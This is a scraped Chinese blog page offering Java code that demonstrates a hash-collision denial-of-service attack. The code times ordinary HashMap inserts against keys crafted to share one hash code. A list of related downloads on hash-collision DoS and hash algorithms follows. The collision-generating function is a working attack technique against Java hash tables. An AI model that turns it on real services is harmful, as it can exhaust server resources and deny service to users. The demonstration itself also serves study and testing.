`
modabobo
  • 浏览: 518773 次
文章分类
社区版块
存档分类
最新评论

Hash Collision攻击的代码(java)

 
阅读更多
Hash Collision攻击的代码(java)
package com.wzucxd;

import java.math.BigDecimal;
import java.util.HashMap;
import java.util.Map;

public class HashCollision_ {

	private static final int		i1	= 48;
	private static final int		i2	= 8;
	private static final int		i3	= 31;
	private static final int		i4	= 60000;
	private static final long		l1	= i3 - 1;
	private static final long		l2	= 2l << 32;
	private static final BigDecimal	d1	= new BigDecimal(31);
	private static final BigDecimal	d2	= d1.pow(i2);
	private static final BigDecimal	d3	= new BigDecimal(l2);
	
	public static void main(String[] args) {
		
		Map<String, Integer> map = null;
		
		//普通
		long startTime = System.currentTimeMillis();
		map = new HashMap<String, Integer>();
		for (int i = 0; i <= i4; i++) {
			String s = String.valueOf(i);
			map.put(s, 0);
		}
		long endTime = System.currentTimeMillis();
		System.out.println(String.format("hash normal %s s", (endTime - startTime) / 1000.0));
		
		//攻击
		startTime = System.currentTimeMillis();
		map = new HashMap<String, Integer>();
		for (int i = 0; i <= i4; i++) {
			String s = String.valueOf(i);
			while (s.length() < 5) {
				s = "0" + s;
			}
			int hs = s.hashCode();
			char[] r = g(hs, 0);
			s = s.concat(new String(r));
			map.put(s, 0);
		}
		
		endTime = System.currentTimeMillis();
		System.out.println(String.format("hash collision %s s", (endTime - startTime) / 1000.0));
		
	}
	
	private static char[] g(int s, int t) {
		long hx1 = l1 * s + i1;
		BigDecimal hx2 = d2.multiply(new BigDecimal(hx1)).subtract(new BigDecimal(i1));
		BigDecimal hx3 = hx2.divide(new BigDecimal(l1));
		BigDecimal hx4 = new BigDecimal(t).subtract(hx3);
		BigDecimal b = hx4.divideToIntegralValue(d3.multiply(d3));
		long l = hx4.subtract(b).longValue();
		l = (l + l2) % l2;
		if (l < 0)
			l += l2;
		char[] c = new char[i2];
		int p = 0;
		while (l != 0) {
			c[p++] = (char) (l % (i3) + i1);
			l = l / i3;
		}
		int f = i2 - p;
		char[] cs = new char[i2];
		int i = 0;
		while (i < f) {
			cs[i++] = (char) i1;
		}
		while (i < i2) {
			cs[i] = c[p - i + f - 1];
			++i;
		}
		return cs;
	}

	
}

分享到:
评论

相关推荐

    Java Hash Collision DoS Attack

    Java实现的Hash Collision DoS Attack

    关于Hash Collision DoS漏洞:web实例

    标题中的“Hash Collision DoS漏洞:web实例”指的是在Web应用程序中出现的一种安全问题,即哈希碰撞拒绝服务攻击(Hash Collision Denial of Service)。这种攻击利用了哈希表(Hash Table)数据结构的特性,当两个...

    非常使用的 基于geohash 找最近位置java代码

    非常使用的 基于geohash 找一定范围内的 最近位置java代码

    常用的hash算法(java实现)

    与MD5类似,由于已知的碰撞攻击,现在不建议用于安全敏感的应用。在Java中,同样通过`MessageDigest`类实现SHA-1: ```java public class SHA1Example { public static String getSHA1(String input) { try { ...

    警惕Hash Collision Dos.pdf

    警惕Hash Collision Dos.pdf

    geohash算法实现Java代码

    Java代码实现GeoHash时,可以创建一个GeoHash类,包含 encode 和 decode 方法。encode方法用于生成GeoHash字符串,decode方法则用于还原经纬度坐标。此外,还可以扩展类来支持范围查询,例如计算两个GeoHash之间的...

    各种Hash函数(JAVA版)

    RS-Hash Function Value: " + ghl.RSHash(key)); System.out.println(" 2. JS-Hash Function Value: " + ghl.JSHash(key)); System.out.println(" 3. PJW-Hash Function Value: " + ghl.PJWHash(key)); System....

    基于java的开发源码-哈希计算工具 Java-hash.zip

    基于java的开发源码-哈希计算工具 Java-hash.zip 基于java的开发源码-哈希计算工具 Java-hash.zip 基于java的开发源码-哈希计算工具 Java-hash.zip 基于java的开发源码-哈希计算工具 Java-hash.zip 基于java的开发...

    哈希计算工具 java-hash.7z

    哈希计算工具 java-hash.7z

    Java实现GeoHash算法

    工具类

    geohash-java:Geohash的Java实现

    geohash-java a Java implement of Geohash 提供下列接口: Modifier and Type Method and Description String toGeoHash(double lng, double lat) 根据经纬度计算 geohash String toGeoHash(double lng, double lat...

    c++MD5hash摘要源代码

    在提供的压缩包文件中,"Md5"可能是源代码文件的名字,它很可能包含了MD5算法的实现。这个源码文件可能会包含类或者函数,用于处理输入数据并计算MD5摘要。用户可以通过调用这些函数,传递需要计算的字符串或文件,...

    哈希计算工具 java-hash

    哈希计算工具 java-hash

    Ketama一致性Hash算法(含Java代码) 1

    在Java中,Spy Memcached客户端使用了TreeMap来模拟环形结构,因为TreeMap能保持元素的有序性。每个节点(包括虚拟节点)作为TreeMap的键,它们之间存在顺序关系,而节点的顺序则由实现Comparator接口的自定义比较器...

    hash算法C代码实现

    哈希(Hash)算法在计算机科学中扮演着重要的角色,特别是在数据存储、文件校验、信息安全等领域。本文将深入探讨哈希算法的原理,并提供一个简单的C语言实现示例。 哈希算法,又称为散列函数,是一种将任意长度的...

    JAVA上百实例源码以及开源项目源代码

     Java二进制IO类与文件复制操作实例,好像是一本书的例子,源代码有的是独立运行的,与同目录下的其它代码文件互不联系,这些代码面向初级、中级Java程序员。 Java访问权限控制源代码 1个目标文件 摘要:Java源码,...

    hashcollision

    莫尔斯电码哈希碰撞检测器这是什么? 这个小工具将相当于字母表中每个字母的二进制莫尔斯电码转换为一个数字。 这个数字可以用作表的索引。你为什么需要这个? 如果您正在尝试莫尔斯电码挑战,此工具会计算将二进制...

    Hash算法大全(java实现)参照.pdf

    例如,FNV1算法(未在上述代码中直接给出Java实现),它是一种广泛使用的非加密Hash函数,具有较好的分布特性。另外,Pearson's Hash和CRC Hashing也是常见的Hash算法,虽然未在给定的代码中完全展示,但它们分别...

    JAVA-hash-table.zip_Table_hash_hash table java_java hash 查找_哈希表设

    (1) 建立一个哈希表,哈希函数为除留余数法,处理冲突的方法为线性探测再散列或二次探测再散列。 (2) 往哈希表中依次存入插入多个单词。 (3) 显示哈希表的存储情况。 (4) 计算哈希表的平均查找长度。...

Global site tag (gtag.js) - Google Analytics